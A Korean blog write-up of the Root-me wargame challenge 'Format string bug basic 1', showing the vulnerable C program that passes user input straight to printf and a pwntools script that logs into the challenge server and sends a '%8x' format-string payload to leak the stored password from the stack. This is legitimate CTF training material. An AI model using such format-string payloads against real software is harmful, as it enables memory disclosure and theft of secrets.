Wargame/Root-me
ELF x86 - Format string bug basic 1
Anatis
2021. 3. 27. 21:30
이번 문제는 포멧스트링 문제이다.
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}
이번 문제의 소스 코드이다. fopen 함수가 위 경로의 .passwd 파일은 텍스트로 읽어오고 fgets로 buffer에 입력을 받는다.
그리고 printf 에서 형식 지정자를 쓰지않아 포멧 스트링 취약점이 일어난다.
from pwn import *
user = 'app-systeme-ch5'
host = 'challenge02.root-me.org'
port = 2222
password = 'app-systeme-ch5'
payload = 'A'*4
payload += '%8x'*30
s = ssh(user, host, port, password)
p = s.process(['./ch5', payload])
p.interactive()
위 코드를 실행시켜보면 buffer, 20은 buffer의 길이 0x804b160은 시크릿 변수의 주소인거 같다.
빨간색 부분을 보면 시크릿이 한번더 출력되고 뒤에 어떠한 값들이 나오는데 이 문제의 flag값인거 같다.
0x6f000a64에서 0a는 '\n'이므로 64까지만 hex -> ascii로 복구해보겠다.